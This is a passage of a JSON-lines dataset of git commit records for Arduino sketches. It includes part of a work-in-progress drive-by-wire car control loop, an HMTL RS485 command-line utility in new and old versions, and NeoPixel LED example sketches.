read_joy_values();\r\n \/\/ joy_horz = joy_values[0];\r\n \/\/ joy_vert = joy_values[1];\r\n\r\n \/\/ Old: steer_target = joy_horz_to_target(joy_horz);\r\n \/\/ Old: gas_target = joy_vert_to_target(joy_vert);\r\n\r\n \/\/ 4) Do actions based on which runmode we are in (and set gas\/brake setpoints), and possibly change runmode \r\n \/\/\r\n now = millis();\r\n\r\n if (runmode == SHUTDOWN) {\r\n if (basicmodesw == 0) { \/\/ If basic mode switch is enabled\r\n shutdown_complete = true; \r\n }\r\n else if (we_just_switched_modes == true) { \/\/ If basic switch is off, we need to stop the car then release brakes and gas before shutting down \r\n gas_target = engine_rpm_min_idle; \/\/ Begin Letting off the gas all the way\r\n shutdown_complete = false;\r\n if (car_speed > 0) {\r\n brake_target = brake_hold_initial; \/\/ More brakes, etc. to stop the car\r\n brake_timer = now;\r\n }\r\n }\r\n if (shutdown_complete == false) { \/\/ If we haven't yet stopped the car and released the brakes and gas all the way\r\n if (car_speed == 0) { \/\/ Car is stopped, but maybe we still need to release the brakes\r\n brake_target = brake_min_release; \/\/ Start to Fully release brakes\r\n if (brake_pressure == brake_min_release) {\r\n shutdown_complete = true; \/\/ With this set, we will do nothing from here on out (until mode changes, i.e. ignition)\r\n }\r\n }\r\n else if (brake_timer-now > brake_increment_interval) {\r\n brake_target += brake_hold_increment; \/\/ Slowly add more brakes until car stops\r\n brake_timer = now; \r\n }\r\n }\r\n }\r\n else if (runmode == BASIC) {\r\n if (basicmodesw == 1 && engine_rpm > 0) { \/\/ If we turned off the basic mode switch with engine running, go to Hold mode\r\n runmode = HOLD; \/\/ If engine is not running, we'll end up in Stall Mode automatically\r\n }\r\n }\r\n else if (runmode == STALL) { \/\/ In stall mode, the gas doesn't have feedback}\r\n \/\/ PID limits don't apply any more when not using engine rpm as fb. Fix this\r\n if (engine_rpm > 0) { \/\/ enter Hold Mode if we started the car\r\n runmode = HOLD;\r\n }\r\n else {\r\n gas_target = engine_rpm_min_idle; \/\/ Default when joystick not pressed\r\n brake_target = brake_min_release; \/\/ Default when joystick not pressed\r\n if (joy_vert > joy_deadband_top_v) { \/\/ If we are pushing up\r\n gas_target = engine_rpm_fullrange*(joy_vert-joy_deadband_top_v)\/joy_deadband_bot_v;\r\n }\r\n else if (joy_vert < joy_deadband_bot_v) { \/\/ If we are pushing down\r\n brake_target = brake_fullrange*(joy_deadband_bot_v-joy_vert)\/joy_deadband_bot_v;\r\n }\r\n }\r\n }\r\n else if (runmode == HOLD) {\r\n if (joy_vert > joy_deadband_top_v) { \/\/ Enter Fly Mode if joystick is pushed up\r\n runmode = FLY;\r\n }\r\n else if (we_just_switched_modes == true) { \/\/ Release throttle and push brake upon entering hold mode\r\n gas_target = engine_rpm_min_idle; \/\/ Let off gas \r\n brake_target = brake_hold_initial; \/\/ Apply brakes to preset setpoint\r\n brake_timer = now;\r\n }\r\n else if (car_speed > 0 && brake_timer-now > brake_increment_interval) { \/\/ If car starts moving again, push harder\r\n brake_target += brake_hold_increment; \/\/ Increase the brake pressure slowly when trying to stop car\r\n brake_timer = now;\r\n }\r\n }\r\n else if (runmode == FLY) {\r\n if (we_just_switched_modes == true) {\r\n gesture_progress = 0;\r\n gesture_timer = now;\r\n }\r\n \/\/ else if (gesture motion detected) { \/\/ If next motion of gesture completed in time\r\n \/\/ \/\/ Add checks to identify conditions to satisfy steps of the gesture\r\n \/\/ gesture_progress++;\r\n \/\/ gesture_timer = now;\r\n \/\/ }\r\n else if (gesture_progress == gesture_complete) { \/\/ Series of motions is complete\r\n runmode = CRUISE;\r\n }\r\n else if (now-gesture_timer > gesture_adj_timeout) { \/\/ Gesture timed out\r\n gesture_progress = 0; \r\n }\r\n if ((car_speed == 0 && joy_vert < joy_deadband_bot_v) || neutral) {\r\n runmode = HOLD; \/\/ Back to Hold Mode if we have braked to a stop or shifted out of gear\r\n }\r\n else { \/\/ Use PID to drive\r\n gas_target = engine_rpm_min_idle; \/\/ Default when joystick not pressed\r\n brake_target = brake_min_release; \/\/ Default when joystick not pressed\r\n if (joy_vert > joy_deadband_top_v) { \/\/ If we are trying to accelerate\r\n gas_target = engine_rpm_fullrange*(joy_vert-joy_deadband_top_v)\/joy_deadband_bot_v;\r\n }\r\n else if (joy_vert < joy_deadband_bot_v) { \/\/ If we are trying to brake\r\n brake_target = brake_fullrange*(joy_deadband_bot_v-joy_vert)\/joy_deadband_bot_v;\r\n }\r\n }\r\n } \r\n else if (runmode == CRUISE) { \/\/ Maybe the elif clauses within here should be if clauses. Maybe doesn't matter\r\n if (car_speed == 0 or neutral > 0) { \/\/ this should never happen\r\n runmode = HOLD; \/\/ Back to Hold Mode because we don't understand what's going on\r\n }\r\n else if (we_just_switched_modes == true) {\r\n cruise_target = car_speed;\r\n brake_target = brake_min_release;\r\n gesture_extent = adcrange\/2; \/\/ Variable to keep track of our joystick motion for speed adjustments\r\n }\r\n if (joy_deadband_bot_v < joy_vert && joy_deadband_top_v > joy_vert) { \/\/ joystick within deadband near center: do speed adjustment, and reset gesture timer\r\n if (gesture_extent > joy_deadband_top_v && now-gesture_timer < gesture_adj_timeout) { \/\/ Adjust speed upward based on how high we were pushed\r\n cruise_target += cruise_max_change*(gesture_extent-joy_deadband_top_v)\/joy_deadband_bot_v;\r\n }\r\n else if (gesture_extent < joy_deadband_bot_v && now-gesture_timer < gesture_adj_timeout) {\r\n cruise_target -= cruise_max_change*(joy_deadband_bot_v-gesture_extent)\/joy_deadband_bot_v; \r\n }\r\n gesture_extent = adcrange\/2; \/\/ Reset for next time\r\n gesture_timer = now;\r\n }\r\n else if (joy_vert == joy_min_v && now-gesture_timer < gesture_fly_timeout) { \/\/ If joystick quickly pushed down\r\n runmode = FLY;\r\n }\r\n else if (joy_vert > joy_deadband_top_v && joy_vert > gesture_extent) { \/\/ We pushed it even further up\r\n gesture_extent = joy_vert; \/\/ Remember our highest point\r\n }\r\n else if (joy_vert < joy_deadband_bot_v && joy_vert < gesture_extent) { \/\/ We pushed it even further down\r\n gesture_extent = joy_vert; \/\/ Remember our lowest point\r\n }\r\n \/\/ Commented out during initial debug \r\n \/\/gas_target = cruise_pid.step(feedback=car_speed, setpoint = cruise_target);\r\n }\r\n else { \/\/ Obviously this should never happen\r\n runmode = HOLD;\r\n }\r\n\r\n \/\/ 5) Step the pids, update the actuator outputs\r\n \/\/\r\n \/\/ The pid approach is the most cool. Fix and uncomment these as we can\r\n if (! (runmode == SHUTDOWN && shutdown_complete == true)) { \/\/ The only time we don't want steering\r\n \/\/ steering_pwm = steering_pid.step(feedback=none, setpoint = steer_target);\r\n \r\n if (! basicmodesw == 0) { \/\/ If basicmode switch is disabled we want brake and gas\r\n \/\/ brake_pwm = brake_pid.step(feedback=brake_pressure, setpoint = brake_target);\r\n\r\n if (runmode == STALL) {\r\n \/\/ gas_pwm = throttle_pid.step(feedback=none, setpoint = gas_target);\r\n }\r\n else {\r\n \/\/ gas_pwm = throttle_pid.step(feedback=engine_rpm, setpoint = gas_target); \r\n }\r\n }\r\n }\r\n\r\n now = millis();\r\n \r\n \/\/ Update gas and steering output only every 15ms\r\n if (now-pwmtimer > 15) {\r\n set_steer_pwm(steer_target);\r\n set_gas_pwm(gas_target);\r\n pwmtimer = now;\r\n }\r\n \r\n \/\/ Step the brake pid\r\n before = micros();\r\n brake_target = brake_pid.step(brake_min_release, brake_pressure);\r\n \/\/ uint8_t brake_target = brake_pid.step(brake_min_release, brake_pressure);\r\n after = micros();\r\n analogWrite(brake_pwm_pin, brake_pwm);\r\n Serial.print(\"runtime: \"); \r\n Serial.print(after - before);\r\n Serial.print(\" sp: \"); \r\n Serial.print(brake_min_release); \r\n Serial.print(\" fb: \"); \r\n Serial.print(brake_pressure);\r\n Serial.print(\" out: \");\r\n Serial.println(brake_target);\r\n\r\n \/\/ Try this later\r\n \/\/ if (car_speed != old_car_speed) {\r\n \/\/ writevalue(11, (char*)car_speed;\r\n \/\/ old_car_speed = car_speed;\r\n \/\/ }\r\n\r\n set_steer_pwm(steer_target); \r\n set_gas_pwm(gas_target); \r\n \r\n \/\/ 6) Service the user interface\r\n \/\/\r\n \/\/ Act on any encoder action\r\n \r\n \/\/ See if someone is groping the touch screen\r\n if (touchpanel.touched()) { \/\/ See if there's any touch data for us\r\n TS_Point touchpoint = touchpanel.getPoint(); \/\/ Retreive a point\r\n touchpoint.x = map(touchpoint.x, 0, 240, 240, 0); \/\/ Rotate touch coordinates to match tft \r\n touchpoint.y = map(touchpoint.y, 0, 320, 320, 0);\r\n int y = tft.height()-touchpoint.x;\r\n int x = touchpoint.y;\r\n memset(buffer,0,strlen(buffer));\r\n itoa(x, buffer, 10);\r\n writevalue(13, buffer);\r\n memset(buffer,0,strlen(buffer));\r\n itoa(y, buffer, 10);\r\n writevalue(14, buffer);\r\n }\r\n \r\n \/\/ Write new values to the screen\r\n\r\n if (runmode != oldmode) {\r\n writevalue(1, modecard[runmode]);\r\n }\r\n if (car_speed != old_car_speed) {\r\n memset(buffer,0,strlen(buffer));\r\n itoa(car_speed, buffer, 10);\r\n writevalue(2, buffer);\r\n old_car_speed = car_speed;\r\n }\r\n if (joy_horz != old_joy_horz) {\r\n memset(buffer,0,strlen(buffer));\r\n itoa(joy_horz, buffer, 10);\r\n writevalue(3, buffer);\r\n old_joy_horz = joy_horz;\r\n }\r\n if (joy_vert != old_joy_vert) {\r\n memset(buffer,0,strlen(buffer));\r\n itoa(joy_vert, buffer, 10);\r\n writevalue(4, buffer);\r\n old_joy_vert = joy_vert;\r\n }\r\n if (steer_target != old_steer_target) {\r\n memset(buffer,0,strlen(buffer));\r\n itoa(steer_target, buffer, 10);\r\n writevalue(5, buffer);\r\n old_steer_target = steer_target;\r\n }\r\n if (steer_pwm != old_steer_pwm) {\r\n memset(buffer,0,strlen(buffer));\r\n itoa(steer_pwm, buffer, 10);\r\n writevalue(6, buffer);\r\n old_steer_pwm = steer_pwm;\r\n }\r\n if (brake_target != old_brake_target) {\r\n memset(buffer,0,strlen(buffer));\r\n itoa(brake_target, buffer, 10);\r\n writevalue(7, buffer);\r\n old_brake_target = brake_target;\r\n }\r\n if (brake_pwm != old_brake_pwm) {\r\n memset(buffer,0,strlen(buffer));\r\n itoa(brake_pwm, buffer, 10);\r\n writevalue(8, buffer);\r\n old_brake_pwm = brake_pwm;\r\n }\r\n if (brake_pressure != old_brake_pressure) {\r\n memset(buffer,0,strlen(buffer));\r\n itoa(brake_pressure, buffer, 10);\r\n writevalue(9, buffer);\r\n old_brake_pressure = brake_pressure;\r\n }\r\n if (gas_target != old_gas_target) {\r\n memset(buffer,0,strlen(buffer));\r\n itoa(gas_target, buffer, 10);\r\n writevalue(10, buffer);\r\n old_gas_target = gas_target;\r\n }\r\n if (gas_pwm != old_gas_pwm) {\r\n memset(buffer,0,strlen(buffer));\r\n itoa(gas_pwm, buffer, 10);\r\n writevalue(11, buffer);\r\n old_gas_pwm = gas_pwm;\r\n }\r\n if (engine_rpm != old_engine_rpm) {\r\n memset(buffer,0,strlen(buffer));\r\n itoa(engine_rpm, buffer, 10);\r\n writevalue(12, buffer);\r\n old_engine_rpm = engine_rpm;\r\n }\r\n memset(buffer,0,strlen(buffer));\r\n itoa(analogRead(joy_horz_pin), buffer, 10);\r\n writevalue(15, buffer);\r\n \r\n \/\/ 7) Log to SD card\r\n \/\/\r\n \/\/ [write current state with timestamp to the SD card]\r\n\r\n \/\/ 8) Do the control loop bookkeeping at the end of each loop\r\n \/\/\r\n old_joy_vert = joy_vert;\r\n if (! oldmode == runmode) { \/\/ If changing runmode\r\n we_just_switched_modes = true; \/\/ So new mode logic can perform initial actions\r\n }\r\n else {\r\n we_just_switched_modes = false; \/\/ Reset this variable\r\n }\r\n oldmode = runmode; \/\/ remember what mode we're in for next time\r\n\r\n delay(10);\r\n\r\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'FlyByWire\/FlyByWire.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"691976d3beb044a3dcfb4631f12ef3f1b927a99e","subject":"Switched to use hmtl_next_sensor()","message":"Switched to use hmtl_next_sensor()\n","repos":"aphelps\/HTML,HMTL\/HMTL,aphelps\/HMTL,HMTL\/HMTL,HMTL\/HMTL,aphelps\/HMTL,HMTL\/HMTL,aphelps\/HTML,aphelps\/HMTL,aphelps\/HMTL,aphelps\/HTML,aphelps\/HTML","old_file":"utilities\/HMTL_Command_CLI\/HMTL_Command_CLI.ino","new_file":"utilities\/HMTL_Command_CLI\/HMTL_Command_CLI.ino","new_contents":"\/*******************************************************************************\n * Author: Adam Phelps\n * License: Create Commons Attribution-Non-Commercial\n * Copyright: 2014\n *\n * Code for a fully contained module which handles HMTL formatted messages\n * from a serial or RS485 connection.\n ******************************************************************************\/\n\n#include \"EEPROM.h\"\n#include <RS485_non_blocking.h>\n#include <SoftwareSerial.h>\n\n#define DEBUG_LEVEL 4\n#include <Debug.h>\n\n#include \"SerialCLI.h\"\n\n#include <RS485_non_blocking.h>\n#include \"Socket.h\"\n#include \"RS485Utils.h\"\n\n\/\/ Note: These are only needed for ArduinoIDE compilation. With this environment\n\/\/ make sure to set DISABLE_MPR121 in the HMTLTypes.h, otherwise the static\n\/\/ memory allocation (blame Wire.h) will exceed some limit and this won't work\n#include \"SPI.h\"\n#include \"EEPROM.h\"\n#include \"GeneralUtils.h\"\n#include \"EEPromUtils.h\"\n#include \"Wire.h\"\n#include \"MPR121.h\"\n#include \"FastLED.h\"\n#include \"PixelUtil.h\"\n\/\/ End note\n\n#include \"HMTLTypes.h\"\n#include \"HMTLMessaging.h\"\n#include \"HMTLProtocol.h\"\n\n#define NUM_OUTPUTS 3\nconfig_rgb_t rgb_output;\n\n\n#define SEND_BUFFER_SIZE 64\nbyte databuffer[RS485_BUFFER_TOTAL(SEND_BUFFER_SIZE)];\nbyte *send_buffer;\nRS485Socket rs485;\n\nSerialCLI serialcli(64, cliHandler);\n\nconfig_hdr_t config;\n\nvoid setup() {\n Serial.begin(9600);\n DEBUG2_PRINTLN(\"*** HMTL_Command_CLI starting ***\");\n\n config_max_t readoutputs[HMTL_MAX_OUTPUTS];\n int32_t outputs_found = hmtl_setup(&config, readoutputs,\n NULL, NULL, HMTL_MAX_OUTPUTS,\n &rs485, NULL, NULL,\n &rgb_output, NULL,\n NULL);\n\n \/* Setup the RS485 connection *\/ \n rs485.setup();\n send_buffer = rs485.initBuffer(databuffer);\n\n DEBUG2_VALUELN(\"*** HMTL_Command_CLI initialized. Address:\", config.address);\n print_usage();\n}\n\nvoid loop() {\n\n \/* Check for message over RS485 *\/\n unsigned int msglen;\n msg_hdr_t *msg_hdr = hmtl_rs485_getmsg(&rs485, &msglen, config.address);\n if (msg_hdr != NULL) {\n process_message(msg_hdr, msglen);\n }\n\n \/* Handle commands from the Serial CLI connection *\/\n serialcli.checkSerial();\n}\n\nvoid print_usage() {\nSerial.print(F(\" \\n\"\n \"Usage:\\n\"\n \" h - print this help\\n\"\n \" s <addr> - Send sensor check\\n\"\n \" p <addr> - Send poll request\\n\"\n ));\n} \nvoid cliHandler(char **tokens, byte numtokens) {\n switch (tokens[0][0]) {\n\n case 'h': {\n print_usage();\n break;\n }\n\n case 's': {\n if (numtokens < 2) return;\n uint16_t address = atoi(tokens[1]);\n DEBUG1_VALUELN(\"* Sensor request to: \", address);\n hmtl_send_sensor_request(&rs485, send_buffer, SEND_BUFFER_SIZE, address);\n break;\n }\n\n case 'p': {\n if (numtokens < 2) return;\n uint16_t address = atoi(tokens[1]);\n DEBUG1_VALUELN(\"* Poll request to: \", address);\n hmtl_send_poll_request(&rs485, send_buffer, SEND_BUFFER_SIZE, address);\n break;\n } \n\n }\n}\n\nvoid process_message(msg_hdr_t *msg, unsigned int msglen) {\n DEBUG1_VALUE(\"Recieved rs485 msg len:\", msglen);\n DEBUG1_VALUE(\" src:\", RS485_SOURCE_FROM_DATA(msg));\n DEBUG1_VALUE(\" dst:\", RS485_ADDRESS_FROM_DATA(msg));\n DEBUG1_VALUE(\" len:\", msg->length);\n DEBUG1_VALUE(\" type:\", msg->type);\n DEBUG1_HEXVAL(\" flags:0x\", msg->flags);\n DEBUG1_PRINT(\" data:\");\n DEBUG1_COMMAND(\n print_hex_string((byte *)msg, msglen)\n );\n DEBUG_PRINT_END();\n\n switch (msg->type) {\n case MSG_TYPE_SENSOR: {\n DEBUG1_PRINTLN(\" * Sensor data:\");\n\n msg_sensor_data_t *sense = NULL;\n while (sense = hmtl_next_sensor(msg, sense)) {\n DEBUG1_VALUE(\" ptr:\", (int)sense);\n DEBUG1_VALUE(\" type:\", sense->sensor_type);\n DEBUG1_VALUE(\" datalen:\", sense->data_len);\n\n switch (sense->sensor_type) {\n case HMTL_SENSOR_SOUND: {\n DEBUG1_PRINT(\" SOUND:\");\n uint16_t *data = (uint16_t *)&sense->data;\n for (byte i = 0; i < sense->data_len \/ sizeof (uint16_t); i++) {\n DEBUG1_HEXVAL(\" \", data[i]);\n }\n break;\n }\n case HMTL_SENSOR_LIGHT: {\n uint16_t *data = (uint16_t *)&sense->data;\n DEBUG1_VALUE(\" LIGHT:\", *data);\n break;\n }\n case HMTL_SENSOR_POT: {\n uint16_t *data = (uint16_t *)&sense->data;\n DEBUG1_VALUE(\" POT:\", *data);\n break;\n }\n default: {\n DEBUG1_PRINT(\" ERROR: UNKNOWN TYPE\");\n return;\n }\n }\n\n DEBUG_PRINT_END();\n }\n break;\n }\n case MSG_TYPE_POLL: {\n DEBUG1_PRINT(\"POLL\");\n break;\n }\n }\n\n DEBUG_PRINT_END();\n}\n","old_contents":"\/*******************************************************************************\n * Author: Adam Phelps\n * License: Create Commons Attribution-Non-Commercial\n * Copyright: 2014\n *\n * Code for a fully contained module which handles HMTL formatted messages\n * from a serial or RS485 connection.\n ******************************************************************************\/\n\n#include \"EEPROM.h\"\n#include <RS485_non_blocking.h>\n#include <SoftwareSerial.h>\n\n#define DEBUG_LEVEL 4\n#include <Debug.h>\n\n#include \"SerialCLI.h\"\n\n#include <RS485_non_blocking.h>\n#include \"Socket.h\"\n#include \"RS485Utils.h\"\n\n\/\/ Note: These are only needed for ArduinoIDE compilation. With this environment\n\/\/ make sure to set DISABLE_MPR121 in the HMTLTypes.h, otherwise the static\n\/\/ memory allocation (blame Wire.h) will exceed some limit and this won't work\n#include \"SPI.h\"\n#include \"EEPROM.h\"\n#include \"GeneralUtils.h\"\n#include \"EEPromUtils.h\"\n#include \"Wire.h\"\n#include \"MPR121.h\"\n#include \"FastLED.h\"\n#include \"PixelUtil.h\"\n\/\/ End note\n\n#include \"HMTLTypes.h\"\n#include \"HMTLMessaging.h\"\n#include \"HMTLProtocol.h\"\n\n#define NUM_OUTPUTS 3\nconfig_rgb_t rgb_output;\n\n\n#define SEND_BUFFER_SIZE 64\nbyte databuffer[RS485_BUFFER_TOTAL(SEND_BUFFER_SIZE)];\nbyte *send_buffer;\nRS485Socket rs485;\n\nSerialCLI serialcli(64, cliHandler);\n\nconfig_hdr_t config;\n\nvoid setup() {\n Serial.begin(9600);\n DEBUG2_PRINTLN(\"*** HMTL_Command_CLI starting ***\");\n\n config_max_t readoutputs[HMTL_MAX_OUTPUTS];\n int32_t outputs_found = hmtl_setup(&config, readoutputs,\n NULL, NULL, HMTL_MAX_OUTPUTS,\n &rs485, NULL, NULL,\n &rgb_output, NULL,\n NULL);\n\n \/* Setup the RS485 connection *\/ \n rs485.setup();\n send_buffer = rs485.initBuffer(databuffer);\n\n DEBUG2_VALUELN(\"*** HMTL_Command_CLI initialized. Address:\", config.address);\n print_usage();\n}\n\nvoid loop() {\n\n \/* Check for message over RS485 *\/\n unsigned int msglen;\n msg_hdr_t *msg_hdr = hmtl_rs485_getmsg(&rs485, &msglen, config.address);\n if (msg_hdr != NULL) {\n process_message(msg_hdr, msglen);\n }\n\n \/* Handle commands from the Serial CLI connection *\/\n serialcli.checkSerial();\n}\n\nvoid print_usage() {\nSerial.print(F(\" \\n\"\n \"Usage:\\n\"\n \" h - print this help\\n\"\n \" s <addr> - Send sensor check\\n\"\n \" p <addr> - Send poll request\\n\"\n ));\n} \nvoid cliHandler(char **tokens, byte numtokens) {\n switch (tokens[0][0]) {\n\n case 'h': {\n print_usage();\n break;\n }\n\n case 's': {\n if (numtokens < 2) return;\n uint16_t address = atoi(tokens[1]);\n DEBUG1_VALUELN(\"* Sensor request to: \", address);\n hmtl_send_sensor_request(&rs485, send_buffer, SEND_BUFFER_SIZE, address);\n break;\n }\n\n case 'p': {\n if (numtokens < 2) return;\n uint16_t address = atoi(tokens[1]);\n DEBUG1_VALUELN(\"* Poll request to: \", address);\n hmtl_send_poll_request(&rs485, send_buffer, SEND_BUFFER_SIZE, address);\n break;\n } \n\n }\n}\n\nvoid process_message(msg_hdr_t *msg, unsigned int msglen) {\n DEBUG1_VALUE(\"Recieved rs485 msg len:\", msglen);\n DEBUG1_VALUE(\" src:\", RS485_SOURCE_FROM_DATA(msg));\n DEBUG1_VALUE(\" dst:\", RS485_ADDRESS_FROM_DATA(msg));\n DEBUG1_VALUE(\" len:\", msg->length);\n DEBUG1_VALUE(\" type:\", msg->type);\n DEBUG1_HEXVAL(\" flags:0x\", msg->flags);\n DEBUG1_PRINT(\" data:\");\n DEBUG1_COMMAND(\n print_hex_string((byte *)msg, msglen)\n );\n DEBUG_PRINT_END();\n\n switch (msg->type) {\n case MSG_TYPE_SENSOR: {\n DEBUG1_PRINTLN(\" * Sensor data:\");\n byte *curr_ptr = (uint8_t *)(msg + 1);\n do {\n msg_sensor_data_t *sense = (msg_sensor_data_t *)(curr_ptr);\n DEBUG1_VALUE(\" ptr:\", (int)sense);\n DEBUG1_VALUE(\" type:\", sense->sensor_type);\n DEBUG1_VALUE(\" datalen:\", sense->data_len);\n curr_ptr += sizeof (msg_sensor_data_t) + sense->data_len;\n\n switch (sense->sensor_type) {\n case HMTL_SENSOR_SOUND: {\n DEBUG1_PRINT(\" SOUND:\");\n uint16_t *data = (uint16_t *)&sense->data;\n for (byte i = 0; i < sense->data_len \/ sizeof (uint16_t); i++) {\n DEBUG1_HEXVAL(\" \", data[i]);\n }\n break;\n }\n case HMTL_SENSOR_LIGHT: {\n uint16_t *data = (uint16_t *)&sense->data;\n DEBUG1_VALUE(\" LIGHT:\", *data);\n break;\n }\n case HMTL_SENSOR_POT: {\n uint16_t *data = (uint16_t *)&sense->data;\n DEBUG1_VALUE(\" POT:\", *data);\n break;\n }\n default: {\n DEBUG1_PRINT(\" ERROR: UNKNOWN TYPE\");\n return;\n }\n }\n\n DEBUG_PRINT_END();\n } while (curr_ptr < (byte *)msg + msg->length);\n \n break;\n }\n case MSG_TYPE_POLL: {\n DEBUG1_PRINT(\"POLL\");\n break;\n }\n }\n\n DEBUG_PRINT_END();\n}\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"f539ffc4d1bfd23db51deb613a01fe33abcb32a1","subject":"neopixel: add example file","message":"neopixel: add example file\n\nJust to show that it works.\n\nSigned-off-by: Sean Cross <d7e19930cc1f42c2d0781f4d9e6f1fe5891bf9cf@xobs.io>\n","repos":"chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer","old_file":"html\/examples\/chibitronics\/neopixel\/neopixel.ino","new_file":"html\/examples\/chibitronics\/neopixel\/neopixel.ino","new_contents":"#include \"Adafruit_NeoPixel.h\"\n\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = Arduino pin number (most are valid)\n\/\/ Parameter 3 = pixel type flags, add together as needed:\n\/\/ NEO_KHZ800 800 KHz bitstream (most NeoPixel products w\/WS2812 LEDs)\n\/\/ NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)\n\/\/ NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)\n\/\/ NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(1, LED_BUILTIN_RGB,\n NEO_GRB + NEO_KHZ800);\n\n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel(byte WheelPos) {\n WheelPos = 255 - WheelPos;\n if(WheelPos < 85) {\n return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n }\n if(WheelPos < 170) {\n WheelPos -= 85;\n return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n WheelPos -= 170;\n return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n}\n\n\/\/ Fill the dots one after the other with a color\nvoid colorWipe(uint32_t c, uint8_t wait) {\n for(uint16_t i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, c);\n strip.show();\n delay(wait);\n }\n}\n\nvoid rainbow(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256; j++) {\n for(i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel((i+j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\n\/\/ Slightly different, this makes the rainbow equally distributed throughout\nvoid rainbowCycle(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256*5; j++) { \/\/ 5 cycles of all colors on wheel\n for(i=0; i< strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel(((i * 256 \/ strip.numPixels()) + j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\n\/\/Theatre-style crawling lights.\nvoid theaterChase(uint32_t c, uint8_t wait) {\n for (int j=0; j<10; j++) { \/\/do 10 cycles of chasing\n for (int q=0; q < 3; q++) {\n for (uint16_t i=0; i < strip.numPixels(); i=i+3) {\n strip.setPixelColor(i+q, c); \/\/turn every third pixel on\n }\n strip.show();\n\n delay(wait);\n\n for (uint16_t i=0; i < strip.numPixels(); i=i+3) {\n strip.setPixelColor(i+q, 0); \/\/turn every third pixel off\n }\n }\n }\n}\n\n\/\/Theatre-style crawling lights with rainbow effect\nvoid theaterChaseRainbow(uint8_t wait) {\n for (int j=0; j < 256; j++) { \/\/ cycle all 256 colors in the wheel\n for (int q=0; q < 3; q++) {\n for (uint16_t i=0; i < strip.numPixels(); i=i+3) {\n strip.setPixelColor(i+q, Wheel( (i+j) % 255)); \/\/turn every third pixel on\n }\n strip.show();\n\n delay(wait);\n\n for (uint16_t i=0; i < strip.numPixels(); i=i+3) {\n strip.setPixelColor(i+q, 0); \/\/turn every third pixel off\n }\n }\n }\n}\n\n\/\/ IMPORTANT: To reduce NeoPixel burnout risk, add 1000 uF capacitor across\n\/\/ pixel power leads, add 300 - 500 Ohm resistor on first pixel's data input\n\/\/ and minimize distance between Arduino and first pixel. Avoid connecting\n\/\/ on a live circuit...if you must, connect GND first.\n\nvoid setup() {\n \/\/ This is for Trinket 5V 16MHz, you can remove these three lines if you are not using a Trinket\n #if defined (__AVR_ATtiny85__)\n if (F_CPU == 16000000) clock_prescale_set(clock_div_1);\n #endif\n \/\/ End of trinket special code\n\n\n strip.begin();\n strip.show(); \/\/ Initialize all pixels to 'off'\n}\n\nextern \"C\" double sin(double f);\n#define double float\ndouble test_d = 4.3L;\nint test_thingy(int start) {\n static int val = start;\n\n test_d += sin(start);\n return ++val;\n}\n\nvoid loop() {\n printf(\"Hello, world!\\r\\n\");\n\n test_thingy(micros());\n \/\/ Some example procedures showing how to display to the pixels:\n colorWipe(strip.Color(255, 0, 0), 50); \/\/ Red\n colorWipe(strip.Color(0, 255, 0), 50); \/\/ Green\n colorWipe(strip.Color(0, 0, 255), 50); \/\/ Blue\n\/\/colorWipe(strip.Color(0, 0, 0, 255), 50); \/\/ White RGBW\n \/\/ Send a theater pixel chase in...\n theaterChase(strip.Color(127, 127, 127), 50); \/\/ White\n theaterChase(strip.Color(127, 0, 0), 50); \/\/ Red\n theaterChase(strip.Color(0, 0, 127), 50); \/\/ Blue\n\n rainbow(20);\n rainbowCycle(20);\n theaterChaseRainbow(50);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'html\/examples\/chibitronics\/neopixel\/neopixel.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"165f031c70a003efdfae7a5bf0783a1b13e48fba","subject":"neo pixel strandtest initi commit","message":"neo pixel strandtest initi commit\n","repos":"rlynch3456\/Arduino","old_file":"strandtest\/strandtest.ino","new_file":"strandtest\/strandtest.ino","new_contents":"\/\/ A basic everyday NeoPixel strip test program.\n\n\/\/ NEOPIXEL BEST PRACTICES for most reliable operation:\n\/\/ - Add 1000 uF CAPACITOR between NeoPixel strip's + and - connections.\n\/\/ - MINIMIZE WIRING LENGTH between microcontroller board and first pixel.\n\/\/ - NeoPixel strip's DATA-IN should pass through a 300-500 OHM RESISTOR.\n\/\/ - AVOID connecting NeoPixels on a LIVE CIRCUIT. If you must, ALWAYS\n\/\/ connect GROUND (-) first, then +, then data.\n\/\/ - When using a 3.3V microcontroller with a 5V-powered NeoPixel strip,\n\/\/ a LOGIC-LEVEL CONVERTER on the data line is STRONGLY RECOMMENDED.\n\/\/ (Skipping these may work OK on your workbench but can fail in the field)\n\n#include <Adafruit_NeoPixel.h>\n#ifdef __AVR__\n #include <avr\/power.h> \/\/ Required for 16 MHz Adafruit Trinket\n#endif\n\n\/\/ Which pin on the Arduino is connected to the NeoPixels?\n\/\/ On a Trinket or Gemma we suggest changing this to 1:\n#define LED_PIN 6\n\n\/\/ How many NeoPixels are attached to the Arduino?\n#define LED_COUNT 8\n\n\/\/ Declare our NeoPixel strip object:\nAdafruit_NeoPixel strip(LED_COUNT, LED_PIN, NEO_GRB + NEO_KHZ800);\n\/\/ Argument 1 = 